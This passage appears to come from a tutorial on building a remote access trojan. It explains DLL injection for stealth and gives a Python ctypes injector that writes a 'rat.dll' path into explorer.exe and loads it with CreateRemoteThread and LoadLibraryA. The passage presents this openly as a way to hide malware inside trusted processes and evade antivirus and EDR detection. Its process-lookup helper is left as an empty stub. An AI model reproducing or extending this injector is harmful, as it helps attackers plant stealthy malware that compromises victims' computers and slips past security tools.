Implementing DLL Injection for Stealth
One of the most effective ways to hide a RAT is by injecting it into a legitimate process. DLL injection allows you to insert malicious code into the memory space of another running process (like explorer.exe or svchost.exe), making the RAT appear as a part of that trusted process.
Creating the Injector
You can use the ctypes library in Python to inject a DLL into a target process.
Python DLL Injector:
import ctypes
import os
import sys
def inject_dll(process_name, dll_path):
# Get the handle to the target process
kernel32 = ctypes.windll.kernel32
process_id = get_process_id(process_name)
handle = kernel32.OpenProcess(0x1F0FFF, False, process_id)
# Allocate memory for the DLL path in the process
dll_length = len(dll_path)
allocated_mem = kernel32.VirtualAllocEx(handle, 0, dll_length, 0x3000, 0x40)
# Write the DLL path to the allocated memory
kernel32.WriteProcessMemory(handle, allocated_mem, dll_path, dll_length, None)
# Load the DLL into the process
load_library = kernel32.GetProcAddress(kernel32._handle, b"LoadLibraryA")
kernel32.CreateRemoteThread(handle, None, 0, load_library, allocated_mem, 0, None)
def get_process_id(process_name):
# Utility function to get the process ID (using tasklist or similar)
# (You would implement this based on system API calls to enumerate processes)
pass
# Example usage: Injecting into explorer.exe
inject_dll("explorer.exe", "C:\\path\\to\\rat.dll")
This code allows you to inject your malicious DLL (containing the RAT’s functionality) into a legitimate process like explorer.exe. This makes the RAT blend into legitimate system activity and evade basic AV and EDR detection techniques that rely on process analysis.
Creating the RAT as a DLL:
To convert the RAT into a DLL, you can use Python’s ctypes library or develop the DLL in C/C++ for better performance and easier injection into other processes.
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